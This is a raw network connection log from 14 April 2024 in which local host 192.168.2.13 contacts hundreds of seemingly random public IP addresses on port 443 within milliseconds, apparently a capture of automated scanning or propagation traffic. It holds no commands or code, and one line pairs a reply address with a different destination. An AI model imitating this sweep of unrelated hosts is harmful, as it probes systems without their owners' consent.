Apr 14, 2024 03:59:49.701910019 CEST	39488	443	192.168.2.13	109.189.233.129
Apr 14, 2024 03:59:49.701911926 CEST	43642	443	192.168.2.13	123.30.153.7
Apr 14, 2024 03:59:49.701911926 CEST	60196	443	192.168.2.13	123.178.211.32
Apr 14, 2024 03:59:49.701915979 CEST	50306	443	192.168.2.13	42.175.88.0
Apr 14, 2024 03:59:49.701920986 CEST	443	43642	123.30.153.7	192.168.2.13
Apr 14, 2024 03:59:49.701930046 CEST	54786	443	192.168.2.13	117.78.218.82
Apr 14, 2024 03:59:49.701931000 CEST	443	39488	109.189.233.129	192.168.2.13
Apr 14, 2024 03:59:49.701936960 CEST	443	54786	117.78.218.82	192.168.2.13
Apr 14, 2024 03:59:49.701941013 CEST	36592	443	192.168.2.13	79.134.73.71
Apr 14, 2024 03:59:49.701952934 CEST	43642	443	192.168.2.13	123.30.153.7
Apr 14, 2024 03:59:49.701955080 CEST	443	36592	79.134.73.71	192.168.2.13
Apr 14, 2024 03:59:49.701971054 CEST	39488	443	192.168.2.13	109.189.233.129
Apr 14, 2024 03:59:49.701977015 CEST	54786	443	192.168.2.13	117.78.218.82
Apr 14, 2024 03:59:49.701986074 CEST	36592	443	192.168.2.13	79.134.73.71
Apr 14, 2024 03:59:49.701989889 CEST	40056	443	192.168.2.13	109.167.206.211
Apr 14, 2024 03:59:49.701997995 CEST	443	40056	109.167.206.211	192.168.2.13
Apr 14, 2024 03:59:49.702002048 CEST	38174	443	192.168.2.13	178.0.34.24
Apr 14, 2024 03:59:49.702012062 CEST	443	38174	178.0.34.24	192.168.2.13
Apr 14, 2024 03:59:49.702034950 CEST	40056	443	192.168.2.13	109.167.206.211
Apr 14, 2024 03:59:49.702035904 CEST	39656	443	192.168.2.13	148.245.31.147
Apr 14, 2024 03:59:49.702038050 CEST	49906	443	192.168.2.13	109.172.137.11
Apr 14, 2024 03:59:49.702044964 CEST	443	39656	148.245.31.147	192.168.2.13
Apr 14, 2024 03:59:49.702045918 CEST	443	49906	109.172.137.11	192.168.2.13
Apr 14, 2024 03:59:49.702049971 CEST	35626	443	192.168.2.13	148.69.63.194
Apr 14, 2024 03:59:49.702058077 CEST	38174	443	192.168.2.13	178.0.34.24
Apr 14, 2024 03:59:49.702059031 CEST	443	35626	148.69.63.194	192.168.2.13
Apr 14, 2024 03:59:49.702083111 CEST	39656	443	192.168.2.13	148.245.31.147
Apr 14, 2024 03:59:49.702088118 CEST	49906	443	192.168.2.13	109.172.137.11
Apr 14, 2024 03:59:49.702090025 CEST	35626	443	192.168.2.13	148.69.63.194
Apr 14, 2024 03:59:49.702097893 CEST	56738	443	192.168.2.13	212.104.144.65
Apr 14, 2024 03:59:49.702105999 CEST	443	56738	212.104.144.65	192.168.2.13
Apr 14, 2024 03:59:49.702114105 CEST	45858	443	192.168.2.13	94.170.51.207
Apr 14, 2024 03:59:49.702117920 CEST	42560	443	192.168.2.13	202.36.201.222
Apr 14, 2024 03:59:49.702121973 CEST	443	45858	94.170.51.207	192.168.2.13
Apr 14, 2024 03:59:49.702125072 CEST	443	42560	202.36.201.222	192.168.2.13
Apr 14, 2024 03:59:49.702126980 CEST	45584	443	192.168.2.13	212.43.106.150
Apr 14, 2024 03:59:49.702133894 CEST	443	45584	212.43.106.150	192.168.2.13
Apr 14, 2024 03:59:49.702138901 CEST	48584	443	192.168.2.13	210.157.201.49
Apr 14, 2024 03:59:49.702141047 CEST	45858	443	192.168.2.13	94.170.51.207
Apr 14, 2024 03:59:49.702145100 CEST	56738	443	192.168.2.13	212.104.144.65
Apr 14, 2024 03:59:49.702147007 CEST	443	48584	210.157.201.49	192.168.2.13
Apr 14, 2024 03:59:49.702157974 CEST	42560	443	192.168.2.13	202.36.201.222
Apr 14, 2024 03:59:49.702172041 CEST	45584	443	192.168.2.13	212.43.106.150
Apr 14, 2024 03:59:49.702184916 CEST	48584	443	192.168.2.13	210.157.201.49
Apr 14, 2024 03:59:49.702188015 CEST	40494	443	192.168.2.13	42.95.35.243
Apr 14, 2024 03:59:49.702195883 CEST	443	40494	42.95.35.243	192.168.2.13
Apr 14, 2024 03:59:49.702198982 CEST	41500	443	192.168.2.13	123.38.40.164
Apr 14, 2024 03:59:49.702208042 CEST	443	41500	123.38.40.164	192.168.2.13
Apr 14, 2024 03:59:49.702229023 CEST	43766	443	192.168.2.13	202.234.122.205
Apr 14, 2024 03:59:49.702234983 CEST	39370	443	192.168.2.13	123.67.40.86
Apr 14, 2024 03:59:49.702235937 CEST	443	43766	202.234.122.205	192.168.2.13
Apr 14, 2024 03:59:49.702238083 CEST	40494	443	192.168.2.13	42.95.35.243
Apr 14, 2024 03:59:49.702241898 CEST	443	39370	123.67.40.86	192.168.2.13
Apr 14, 2024 03:59:49.702249050 CEST	41500	443	192.168.2.13	123.38.40.164
Apr 14, 2024 03:59:49.702263117 CEST	53330	443	192.168.2.13	79.131.246.227
Apr 14, 2024 03:59:49.702266932 CEST	43766	443	192.168.2.13	202.234.122.205
Apr 14, 2024 03:59:49.702270985 CEST	443	53330	79.131.246.227	192.168.2.13
Apr 14, 2024 03:59:49.702285051 CEST	39370	443	192.168.2.13	123.67.40.86
Apr 14, 2024 03:59:49.702301025 CEST	41122	443	192.168.2.13	118.30.234.218
Apr 14, 2024 03:59:49.702307940 CEST	443	41122	118.30.234.218	192.168.2.13
Apr 14, 2024 03:59:49.702310085 CEST	53330	443	192.168.2.13	79.131.246.227
Apr 14, 2024 03:59:49.702327967 CEST	52660	443	192.168.2.13	37.205.15.251
Apr 14, 2024 03:59:49.702337027 CEST	443	52660	37.205.15.251	192.168.2.13
Apr 14, 2024 03:59:49.702343941 CEST	41122	443	192.168.2.13	118.30.234.218
Apr 14, 2024 03:59:49.702346087 CEST	51910	443	192.168.2.13	178.167.220.208
Apr 14, 2024 03:59:49.702353954 CEST	443	51910	178.167.220.208	192.168.2.13
Apr 14, 2024 03:59:49.702362061 CEST	38008	443	192.168.2.13	148.31.140.68
Apr 14, 2024 03:59:49.702369928 CEST	443	38008	148.31.140.68	192.168.2.13
Apr 14, 2024 03:59:49.702373981 CEST	37850	443	192.168.2.13	94.80.130.213
Apr 14, 2024 03:59:49.702373981 CEST	52660	443	192.168.2.13	37.205.15.251
Apr 14, 2024 03:59:49.702384949 CEST	443	37850	94.80.130.213	192.168.2.13
Apr 14, 2024 03:59:49.702392101 CEST	51910	443	192.168.2.13	178.167.220.208
Apr 14, 2024 03:59:49.702405930 CEST	38008	443	192.168.2.13	148.31.140.68
Apr 14, 2024 03:59:49.702405930 CEST	44948	443	192.168.2.13	37.56.218.47
Apr 14, 2024 03:59:49.702413082 CEST	52270	443	192.168.2.13	202.81.120.220
Apr 14, 2024 03:59:49.702419043 CEST	443	44948	37.56.218.47	192.168.2.13
Apr 14, 2024 03:59:49.702420950 CEST	443	52270	202.81.120.220	192.168.2.13
Apr 14, 2024 03:59:49.702425003 CEST	33450	443	192.168.2.13	178.251.122.74
Apr 14, 2024 03:59:49.702430964 CEST	37850	443	192.168.2.13	94.80.130.213
Apr 14, 2024 03:59:49.702430964 CEST	52532	443	192.168.2.13	148.235.119.57
Apr 14, 2024 03:59:49.702431917 CEST	443	33450	178.251.122.74	192.168.2.13
Apr 14, 2024 03:59:49.702445030 CEST	443	52532	148.235.119.57	192.168.2.13
Apr 14, 2024 03:59:49.702459097 CEST	44948	443	192.168.2.13	37.56.218.47
Apr 14, 2024 03:59:49.702461004 CEST	52270	443	192.168.2.13	202.81.120.220
Apr 14, 2024 03:59:49.702461958 CEST	51118	443	192.168.2.13	94.201.146.90
Apr 14, 2024 03:59:49.702461958 CEST	42658	443	192.168.2.13	210.254.91.153
Apr 14, 2024 03:59:49.702471972 CEST	443	51118	94.201.146.90	192.168.2.13
Apr 14, 2024 03:59:49.702476978 CEST	443	42658	210.254.91.153	192.168.2.13
Apr 14, 2024 03:59:49.702486038 CEST	33450	443	192.168.2.13	178.251.122.74
Apr 14, 2024 03:59:49.702486992 CEST	52532	443	192.168.2.13	148.235.119.57
Apr 14, 2024 03:59:49.702507019 CEST	46172	443	192.168.2.13	212.101.69.7
Apr 14, 2024 03:59:49.702511072 CEST	51118	443	192.168.2.13	94.201.146.90
Apr 14, 2024 03:59:49.702511072 CEST	42658	443	192.168.2.13	210.254.91.153
Apr 14, 2024 03:59:49.702513933 CEST	443	46172	212.101.69.7	192.168.2.13
Apr 14, 2024 03:59:49.702533007 CEST	55652	443	192.168.2.13	5.71.151.142
Apr 14, 2024 03:59:49.702538967 CEST	43486	443	192.168.2.13	178.110.16.125
Apr 14, 2024 03:59:49.702541113 CEST	443	55652	5.71.151.142	192.168.2.13
Apr 14, 2024 03:59:49.702545881 CEST	443	43486	178.110.16.125	192.168.2.13
Apr 14, 2024 03:59:49.702553988 CEST	46172	443	192.168.2.13	212.101.69.7
Apr 14, 2024 03:59:49.702572107 CEST	37938	443	192.168.2.13	109.41.232.199
Apr 14, 2024 03:59:49.702574968 CEST	55652	443	192.168.2.13	5.71.151.142
Apr 14, 2024 03:59:49.702577114 CEST	43486	443	192.168.2.13	178.110.16.125
Apr 14, 2024 03:59:49.702579021 CEST	443	37938	109.41.232.199	192.168.2.13
Apr 14, 2024 03:59:49.702606916 CEST	48556	443	192.168.2.13	2.179.60.26
Apr 14, 2024 03:59:49.702615023 CEST	443	48556	2.179.60.26	192.168.2.13
Apr 14, 2024 03:59:49.702615023 CEST	37938	443	192.168.2.13	109.41.232.199
Apr 14, 2024 03:59:49.702656031 CEST	48556	443	192.168.2.13	2.179.60.26
Apr 14, 2024 03:59:49.702656984 CEST	48472	443	192.168.2.13	212.118.50.198
Apr 14, 2024 03:59:49.702665091 CEST	443	48472	212.118.50.198	192.168.2.13
Apr 14, 2024 03:59:49.702672005 CEST	60654	443	192.168.2.13	210.57.20.72
Apr 14, 2024 03:59:49.702680111 CEST	443	60654	210.57.20.72	192.168.2.13
Apr 14, 2024 03:59:49.702688932 CEST	34480	443	192.168.2.13	123.120.78.85
Apr 14, 2024 03:59:49.702696085 CEST	443	34480	123.120.78.85	192.168.2.13
Apr 14, 2024 03:59:49.702702999 CEST	48472	443	192.168.2.13	212.118.50.198
Apr 14, 2024 03:59:49.702708960 CEST	57510	443	192.168.2.13	123.165.39.13
Apr 14, 2024 03:59:49.702716112 CEST	443	57510	123.165.39.13	192.168.2.13
Apr 14, 2024 03:59:49.702716112 CEST	60654	443	192.168.2.13	210.57.20.72
Apr 14, 2024 03:59:49.702722073 CEST	56050	443	192.168.2.13	117.222.8.145
Apr 14, 2024 03:59:49.702728987 CEST	443	56050	117.222.8.145	192.168.2.13
Apr 14, 2024 03:59:49.702733040 CEST	34480	443	192.168.2.13	123.120.78.85
Apr 14, 2024 03:59:49.702738047 CEST	57500	443	192.168.2.13	123.241.52.24
Apr 14, 2024 03:59:49.702745914 CEST	443	57500	123.241.52.24	192.168.2.13
Apr 14, 2024 03:59:49.702753067 CEST	55008	443	192.168.2.13	109.109.165.96
Apr 14, 2024 03:59:49.702759981 CEST	57510	443	192.168.2.13	123.165.39.13
Apr 14, 2024 03:59:49.702759981 CEST	443	55008	109.109.165.96	192.168.2.13
Apr 14, 2024 03:59:49.702769995 CEST	56050	443	192.168.2.13	117.222.8.145
Apr 14, 2024 03:59:49.702780008 CEST	57500	443	192.168.2.13	123.241.52.24
Apr 14, 2024 03:59:49.702796936 CEST	55008	443	192.168.2.13	109.109.165.96
Apr 14, 2024 03:59:49.702816963 CEST	44474	443	192.168.2.13	123.240.126.68
Apr 14, 2024 03:59:49.702819109 CEST	39474	443	192.168.2.13	178.35.163.141
Apr 14, 2024 03:59:49.702825069 CEST	443	44474	123.240.126.68	192.168.2.13
Apr 14, 2024 03:59:49.702825069 CEST	39658	443	192.168.2.13	5.63.180.130
Apr 14, 2024 03:59:49.702826977 CEST	443	39474	178.35.163.141	192.168.2.13
Apr 14, 2024 03:59:49.702835083 CEST	443	39658	5.63.180.130	192.168.2.13
Apr 14, 2024 03:59:49.702841997 CEST	38934	443	192.168.2.13	5.75.190.181
Apr 14, 2024 03:59:49.702850103 CEST	443	38934	5.75.190.181	192.168.2.13
Apr 14, 2024 03:59:49.702869892 CEST	39658	443	192.168.2.13	5.63.180.130
Apr 14, 2024 03:59:49.702871084 CEST	39474	443	192.168.2.13	178.35.163.141
Apr 14, 2024 03:59:49.702872038 CEST	44474	443	192.168.2.13	123.240.126.68
Apr 14, 2024 03:59:49.702884912 CEST	46264	443	192.168.2.13	42.65.12.45
Apr 14, 2024 03:59:49.702893019 CEST	443	46264	42.65.12.45	192.168.2.13
Apr 14, 2024 03:59:49.702896118 CEST	38934	443	192.168.2.13	5.75.190.181
Apr 14, 2024 03:59:49.702915907 CEST	36104	443	192.168.2.13	210.3.249.63
Apr 14, 2024 03:59:49.702924013 CEST	443	36104	210.3.249.63	192.168.2.13
Apr 14, 2024 03:59:49.702927113 CEST	46264	443	192.168.2.13	42.65.12.45
Apr 14, 2024 03:59:49.702960014 CEST	36104	443	192.168.2.13	210.3.249.63
Apr 14, 2024 03:59:49.702975035 CEST	35524	443	192.168.2.13	79.134.242.57
Apr 14, 2024 03:59:49.702975988 CEST	57566	443	192.168.2.13	117.70.94.240
Apr 14, 2024 03:59:49.702982903 CEST	443	35524	79.134.242.57	192.168.2.13
Apr 14, 2024 03:59:49.702999115 CEST	443	57566	117.70.94.240	192.168.2.13
Apr 14, 2024 03:59:49.702999115 CEST	42366	443	192.168.2.13	79.184.240.221
Apr 14, 2024 03:59:49.703006029 CEST	443	42366	79.184.240.221	192.168.2.13
Apr 14, 2024 03:59:49.703016043 CEST	35524	443	192.168.2.13	79.134.242.57
Apr 14, 2024 03:59:49.703021049 CEST	39322	443	192.168.2.13	37.179.75.64
Apr 14, 2024 03:59:49.703027964 CEST	443	39322	37.179.75.64	192.168.2.13
Apr 14, 2024 03:59:49.703041077 CEST	37004	443	192.168.2.13	178.63.253.36
Apr 14, 2024 03:59:49.703041077 CEST	42366	443	192.168.2.13	79.184.240.221
Apr 14, 2024 03:59:49.703048944 CEST	443	37004	178.63.253.36	192.168.2.13
Apr 14, 2024 03:59:49.703054905 CEST	33620	443	192.168.2.13	2.4.12.81
Apr 14, 2024 03:59:49.703063965 CEST	443	33620	2.4.12.81	192.168.2.13
Apr 14, 2024 03:59:49.703067064 CEST	39322	443	192.168.2.13	37.179.75.64
Apr 14, 2024 03:59:49.703068018 CEST	57566	443	192.168.2.13	117.70.94.240
Apr 14, 2024 03:59:49.703083992 CEST	37004	443	192.168.2.13	178.63.253.36
Apr 14, 2024 03:59:49.703099012 CEST	59554	443	192.168.2.13	178.174.22.131
Apr 14, 2024 03:59:49.703105927 CEST	443	59554	178.174.22.131	192.168.2.13
Apr 14, 2024 03:59:49.703119040 CEST	33620	443	192.168.2.13	2.4.12.81
Apr 14, 2024 03:59:49.703120947 CEST	42282	443	192.168.2.13	202.247.191.94
Apr 14, 2024 03:59:49.703129053 CEST	443	42282	202.247.191.94	192.168.2.13
Apr 14, 2024 03:59:49.703142881 CEST	59554	443	192.168.2.13	178.174.22.131
Apr 14, 2024 03:59:49.703155994 CEST	51864	443	192.168.2.13	117.213.66.174
Apr 14, 2024 03:59:49.703162909 CEST	443	51864	117.213.66.174	192.168.2.13
Apr 14, 2024 03:59:49.703165054 CEST	42282	443	192.168.2.13	202.247.191.94
Apr 14, 2024 03:59:49.703186035 CEST	60568	443	192.168.2.13	212.170.63.182
Apr 14, 2024 03:59:49.703192949 CEST	443	60568	212.170.63.182	192.168.2.13
Apr 14, 2024 03:59:49.703197002 CEST	56438	443	192.168.2.13	2.86.254.12
Apr 14, 2024 03:59:49.703198910 CEST	51864	443	192.168.2.13	117.213.66.174
Apr 14, 2024 03:59:49.703202963 CEST	443	56438	2.86.254.12	192.168.2.13
Apr 14, 2024 03:59:49.703221083 CEST	45686	443	192.168.2.13	2.33.25.151
Apr 14, 2024 03:59:49.703227997 CEST	443	45686	2.33.25.151	192.168.2.13
Apr 14, 2024 03:59:49.703229904 CEST	47390	443	192.168.2.13	123.169.181.24
Apr 14, 2024 03:59:49.703232050 CEST	60568	443	192.168.2.13	212.170.63.182
Apr 14, 2024 03:59:49.703238964 CEST	443	47390	123.169.181.24	192.168.2.13
Apr 14, 2024 03:59:49.703241110 CEST	56438	443	192.168.2.13	2.86.254.12
Apr 14, 2024 03:59:49.703258038 CEST	40738	443	192.168.2.13	210.124.21.164
Apr 14, 2024 03:59:49.703265905 CEST	443	40738	210.124.21.164	192.168.2.13
Apr 14, 2024 03:59:49.703283072 CEST	45448	443	192.168.2.13	123.176.117.232
Apr 14, 2024 03:59:49.703285933 CEST	47390	443	192.168.2.13	123.169.181.24
Apr 14, 2024 03:59:49.703286886 CEST	45686	443	192.168.2.13	2.33.25.151
Apr 14, 2024 03:59:49.703289986 CEST	443	45448	123.176.117.232	192.168.2.13
Apr 14, 2024 03:59:49.703311920 CEST	40738	443	192.168.2.13	210.124.21.164
Apr 14, 2024 03:59:49.703314066 CEST	59230	443	192.168.2.13	117.143.161.4
Apr 14, 2024 03:59:49.703315973 CEST	39230	443	192.168.2.13	210.255.8.217
Apr 14, 2024 03:59:49.703321934 CEST	443	39230	210.255.8.217	192.168.2.13
Apr 14, 2024 03:59:49.703325987 CEST	443	59230	117.143.161.4	192.168.2.13
Apr 14, 2024 03:59:49.703334093 CEST	45448	443	192.168.2.13	123.176.117.232
Apr 14, 2024 03:59:49.703337908 CEST	56116	443	192.168.2.13	212.210.57.246
Apr 14, 2024 03:59:49.703345060 CEST	443	56116	212.210.57.246	192.168.2.13
Apr 14, 2024 03:59:49.703361988 CEST	50094	443	192.168.2.13	123.88.74.251
Apr 14, 2024 03:59:49.703361988 CEST	39230	443	192.168.2.13	210.255.8.217
Apr 14, 2024 03:59:49.703366041 CEST	59230	443	192.168.2.13	117.143.161.4
Apr 14, 2024 03:59:49.703372002 CEST	443	50094	123.88.74.251	192.168.2.13
Apr 14, 2024 03:59:49.703386068 CEST	50730	443	192.168.2.13	79.217.10.113
Apr 14, 2024 03:59:49.703386068 CEST	56116	443	192.168.2.13	212.210.57.246
Apr 14, 2024 03:59:49.703397036 CEST	443	50730	79.217.10.113	192.168.2.13
Apr 14, 2024 03:59:49.703412056 CEST	50094	443	192.168.2.13	123.88.74.251
Apr 14, 2024 03:59:49.703412056 CEST	60556	443	192.168.2.13	118.183.17.133
Apr 14, 2024 03:59:49.703413010 CEST	52848	443	192.168.2.13	118.44.154.12
Apr 14, 2024 03:59:49.703419924 CEST	443	52848	118.44.154.12	192.168.2.13
Apr 14, 2024 03:59:49.703424931 CEST	443	60556	118.183.17.133	192.168.2.13
Apr 14, 2024 03:59:49.703430891 CEST	50730	443	192.168.2.13	79.217.10.113
Apr 14, 2024 03:59:49.703435898 CEST	59026	443	192.168.2.13	109.176.126.26
Apr 14, 2024 03:59:49.703444004 CEST	443	59026	109.176.126.26	192.168.2.13
Apr 14, 2024 03:59:49.703458071 CEST	52848	443	192.168.2.13	118.44.154.12
Apr 14, 2024 03:59:49.703464031 CEST	60556	443	192.168.2.13	118.183.17.133
Apr 14, 2024 03:59:49.703474998 CEST	59026	443	192.168.2.13	109.176.126.26
Apr 14, 2024 03:59:49.703488111 CEST	34262	443	192.168.2.13	202.198.211.209
Apr 14, 2024 03:59:49.703488111 CEST	52712	443	192.168.2.13	5.31.117.185
Apr 14, 2024 03:59:49.703489065 CEST	53676	443	192.168.2.13	37.25.142.128
Apr 14, 2024 03:59:49.703496933 CEST	443	53676	37.25.142.128	192.168.2.13
Apr 14, 2024 03:59:49.703496933 CEST	44712	443	192.168.2.13	109.255.239.237
Apr 14, 2024 03:59:49.703504086 CEST	443	44712	109.255.239.237	192.168.2.13
Apr 14, 2024 03:59:49.703507900 CEST	443	34262	202.198.211.209	192.168.2.13
Apr 14, 2024 03:59:49.703519106 CEST	443	52712	5.31.117.185	192.168.2.13
Apr 14, 2024 03:59:49.703535080 CEST	34618	443	192.168.2.13	37.96.167.34
Apr 14, 2024 03:59:49.703536034 CEST	34914	443	192.168.2.13	178.65.184.174
Apr 14, 2024 03:59:49.703541040 CEST	44712	443	192.168.2.13	109.255.239.237
Apr 14, 2024 03:59:49.703542948 CEST	443	34618	37.96.167.34	192.168.2.13
Apr 14, 2024 03:59:49.703543901 CEST	443	34914	178.65.184.174	192.168.2.13
Apr 14, 2024 03:59:49.703553915 CEST	53676	443	192.168.2.13	37.25.142.128
Apr 14, 2024 03:59:49.703557014 CEST	34262	443	192.168.2.13	202.198.211.209
Apr 14, 2024 03:59:49.703557014 CEST	52712	443	192.168.2.13	5.31.117.185
Apr 14, 2024 03:59:49.703577042 CEST	34618	443	192.168.2.13	37.96.167.34
Apr 14, 2024 03:59:49.703577995 CEST	51220	443	192.168.2.13	79.151.226.217
Apr 14, 2024 03:59:49.703577995 CEST	34914	443	192.168.2.13	178.65.184.174
Apr 14, 2024 03:59:49.703589916 CEST	443	51220	79.151.226.217	192.168.2.13
Apr 14, 2024 03:59:49.703604937 CEST	58052	443	192.168.2.13	94.43.64.35
Apr 14, 2024 03:59:49.703612089 CEST	443	58052	94.43.64.35	192.168.2.13
Apr 14, 2024 03:59:49.703613997 CEST	41688	443	192.168.2.13	212.121.79.140
Apr 14, 2024 03:59:49.703627110 CEST	51220	443	192.168.2.13	79.151.226.217
Apr 14, 2024 03:59:49.703628063 CEST	443	41688	5.189.239.166	192.168.2.13
Apr 14, 2024 03:59:49.703634024 CEST	50958	443	192.168.2.13	202.23.9.99
Apr 14, 2024 03:59:49.703641891 CEST	443	50958	202.23.9.99	192.168.2.13
Apr 14, 2024 03:59:49.703650951 CEST	58052	443	192.168.2.13	94.43.64.35
Apr 14, 2024 03:59:49.703661919 CEST	46410	443	192.168.2.13	210.122.244.13
Apr 14, 2024 03:59:49.703668118 CEST	443	46410	210.122.244.13	192.168.2.13
Apr 14, 2024 03:59:49.703675985 CEST	50958	443	192.168.2.13	202.23.9.99
Apr 14, 2024 03:59:49.703696012 CEST	35056	443	192.168.2.13	117.246.62.195
Apr 14, 2024 03:59:49.703704119 CEST	443	35056	117.246.62.195	192.168.2.13
Apr 14, 2024 03:59:49.703710079 CEST	46410	443	192.168.2.13	210.122.244.13
Apr 14, 2024 03:59:49.703738928 CEST	35056	443	192.168.2.13	117.246.62.195
Apr 14, 2024 03:59:49.703756094 CEST	50500	443	192.168.2.13	109.189.217.184
Apr 14, 2024 03:59:49.703767061 CEST	443	50500	109.189.217.184	192.168.2.13
Apr 14, 2024 03:59:49.703774929 CEST	45040	443	192.168.2.13	109.138.200.251
Apr 14, 2024 03:59:49.703774929 CEST	58346	443	192.168.2.13	212.17.21.83
Apr 14, 2024 03:59:49.703780890 CEST	43590	443	192.168.2.13	37.32.192.157
Apr 14, 2024 03:59:49.703787088 CEST	443	43590	37.32.192.157	192.168.2.13
Apr 14, 2024 03:59:49.703787088 CEST	443	45040	109.138.200.251	192.168.2.13
Apr 14, 2024 03:59:49.703807116 CEST	443	58346	212.17.21.83	192.168.2.13
Apr 14, 2024 03:59:49.703809977 CEST	50500	443	192.168.2.13	109.189.217.184
Apr 14, 2024 03:59:49.703820944 CEST	41962	443	192.168.2.13	2.141.99.181
Apr 14, 2024 03:59:49.703825951 CEST	43590	443	192.168.2.13	37.32.192.157
Apr 14, 2024 03:59:49.703830957 CEST	443	41962	2.141.99.181	192.168.2.13
Apr 14, 2024 03:59:49.703850031 CEST	45040	443	192.168.2.13	109.138.200.251
Apr 14, 2024 03:59:49.703850031 CEST	58346	443	192.168.2.13	212.17.21.83
Apr 14, 2024 03:59:49.703856945 CEST	33950	443	192.168.2.13	79.184.187.56
Apr 14, 2024 03:59:49.703865051 CEST	443	33950	79.184.187.56	192.168.2.13
Apr 14, 2024 03:59:49.703891039 CEST	53482	443	192.168.2.13	123.23.52.95
Apr 14, 2024 03:59:49.703898907 CEST	443	53482	123.23.52.95	192.168.2.13
Apr 14, 2024 03:59:49.703901052 CEST	33950	443	192.168.2.13	79.184.187.56
Apr 14, 2024 03:59:49.703902960 CEST	41962	443	192.168.2.13	2.141.99.181
Apr 14, 2024 03:59:49.703933954 CEST	57110	443	192.168.2.13	42.2.99.52
Apr 14, 2024 03:59:49.703938961 CEST	53482	443	192.168.2.13	123.23.52.95
Apr 14, 2024 03:59:49.703941107 CEST	443	57110	42.2.99.52	192.168.2.13
Apr 14, 2024 03:59:49.703963995 CEST	43778	443	192.168.2.13	117.249.255.48
Apr 14, 2024 03:59:49.703970909 CEST	38422	443	192.168.2.13	2.178.60.91
Apr 14, 2024 03:59:49.703978062 CEST	443	43778	117.249.255.48	192.168.2.13
Apr 14, 2024 03:59:49.703979015 CEST	443	38422	2.178.60.91	192.168.2.13
Apr 14, 2024 03:59:49.703999043 CEST	57110	443	192.168.2.13	42.2.99.52
Apr 14, 2024 03:59:49.704000950 CEST	45916	443	192.168.2.13	2.183.173.154
Apr 14, 2024 03:59:49.704009056 CEST	443	45916	2.183.173.154	192.168.2.13
Apr 14, 2024 03:59:49.704022884 CEST	44658	443	192.168.2.13	94.42.190.169
Apr 14, 2024 03:59:49.704025030 CEST	38422	443	192.168.2.13	2.178.60.91
Apr 14, 2024 03:59:49.704025030 CEST	43778	443	192.168.2.13	117.249.255.48
Apr 14, 2024 03:59:49.704034090 CEST	443	44658	94.42.190.169	192.168.2.13
Apr 14, 2024 03:59:49.704041004 CEST	40484	443	192.168.2.13	5.1.218.89
Apr 14, 2024 03:59:49.704047918 CEST	37402	443	192.168.2.13	5.195.167.107
Apr 14, 2024 03:59:49.704049110 CEST	443	40484	5.1.218.89	192.168.2.13
Apr 14, 2024 03:59:49.704051971 CEST	45916	443	192.168.2.13	2.183.173.154
Apr 14, 2024 03:59:49.704062939 CEST	47776	443	192.168.2.13	37.66.152.172
Apr 14, 2024 03:59:49.704065084 CEST	443	37402	5.195.167.107	192.168.2.13
Apr 14, 2024 03:59:49.704070091 CEST	443	47776	37.66.152.172	192.168.2.13
Apr 14, 2024 03:59:49.704077959 CEST	44658	443	192.168.2.13	94.42.190.169
Apr 14, 2024 03:59:49.704097033 CEST	47776	443	192.168.2.13	37.66.152.172
Apr 14, 2024 03:59:49.704097986 CEST	37402	443	192.168.2.13	5.195.167.107
Apr 14, 2024 03:59:49.704121113 CEST	48258	443	192.168.2.13	202.94.174.249
Apr 14, 2024 03:59:49.704129934 CEST	443	48258	202.94.174.249	192.168.2.13
Apr 14, 2024 03:59:49.704132080 CEST	41034	443	192.168.2.13	178.149.9.93
Apr 14, 2024 03:59:49.704139948 CEST	40484	443	192.168.2.13	5.1.218.89
Apr 14, 2024 03:59:49.704139948 CEST	49102	443	192.168.2.13	118.118.215.84
Apr 14, 2024 03:59:49.704142094 CEST	443	41034	178.149.9.93	192.168.2.13
Apr 14, 2024 03:59:49.704154015 CEST	443	49102	118.118.215.84	192.168.2.13
Apr 14, 2024 03:59:49.704165936 CEST	48258	443	192.168.2.13	202.94.174.249
Apr 14, 2024 03:59:49.704176903 CEST	44024	443	192.168.2.13	117.204.177.104
Apr 14, 2024 03:59:49.704183102 CEST	443	44024	117.204.177.104	192.168.2.13
Apr 14, 2024 03:59:49.704183102 CEST	41034	443	192.168.2.13	178.149.9.93
Apr 14, 2024 03:59:49.704199076 CEST	49102	443	192.168.2.13	118.118.215.84
Apr 14, 2024 03:59:49.704205036 CEST	51066	443	192.168.2.13	117.156.39.21
Apr 14, 2024 03:59:49.704212904 CEST	443	51066	117.156.39.21	192.168.2.13
Apr 14, 2024 03:59:49.704231977 CEST	45380	443	192.168.2.13	2.253.230.167
Apr 14, 2024 03:59:49.704236031 CEST	44024	443	192.168.2.13	117.204.177.104
Apr 14, 2024 03:59:49.704238892 CEST	443	45380	2.253.230.167	192.168.2.13
Apr 14, 2024 03:59:49.704247952 CEST	51066	443	192.168.2.13	117.156.39.21
Apr 14, 2024 03:59:49.704266071 CEST	35500	443	192.168.2.13	2.7.176.13
Apr 14, 2024 03:59:49.704272985 CEST	45380	443	192.168.2.13	2.253.230.167
Apr 14, 2024 03:59:49.704272985 CEST	443	35500	2.7.176.13	192.168.2.13
Apr 14, 2024 03:59:49.704288006 CEST	55794	443	192.168.2.13	202.14.138.194
Apr 14, 2024 03:59:49.704294920 CEST	443	55794	202.14.138.194	192.168.2.13
Apr 14, 2024 03:59:49.704307079 CEST	35500	443	192.168.2.13	2.7.176.13
Apr 14, 2024 03:59:49.704327106 CEST	55660	443	192.168.2.13	117.6.222.109
Apr 14, 2024 03:59:49.704327106 CEST	55794	443	192.168.2.13	202.14.138.194
Apr 14, 2024 03:59:49.704334021 CEST	443	55660	117.6.222.109	192.168.2.13
Apr 14, 2024 03:59:49.704350948 CEST	51550	443	192.168.2.13	79.6.173.150
Apr 14, 2024 03:59:49.704364061 CEST	443	51550	79.6.173.150	192.168.2.13
Apr 14, 2024 03:59:49.704390049 CEST	55660	443	192.168.2.13	117.6.222.109
Apr 14, 2024 03:59:49.704395056 CEST	33934	443	192.168.2.13	118.23.62.36
Apr 14, 2024 03:59:49.704402924 CEST	443	33934	118.23.62.36	192.168.2.13
Apr 14, 2024 03:59:49.704406023 CEST	51550	443	192.168.2.13	79.6.173.150
Apr 14, 2024 03:59:49.704408884 CEST	53216	443	192.168.2.13	42.191.173.80
Apr 14, 2024 03:59:49.704416990 CEST	443	53216	42.191.173.80	192.168.2.13
Apr 14, 2024 03:59:49.704438925 CEST	33934	443	192.168.2.13	118.23.62.36
Apr 14, 2024 03:59:49.704449892 CEST	36642	443	192.168.2.13	118.94.26.153
Apr 14, 2024 03:59:49.704449892 CEST	53216	443	192.168.2.13	42.191.173.80
Apr 14, 2024 03:59:49.704458952 CEST	443	36642	118.94.26.153	192.168.2.13
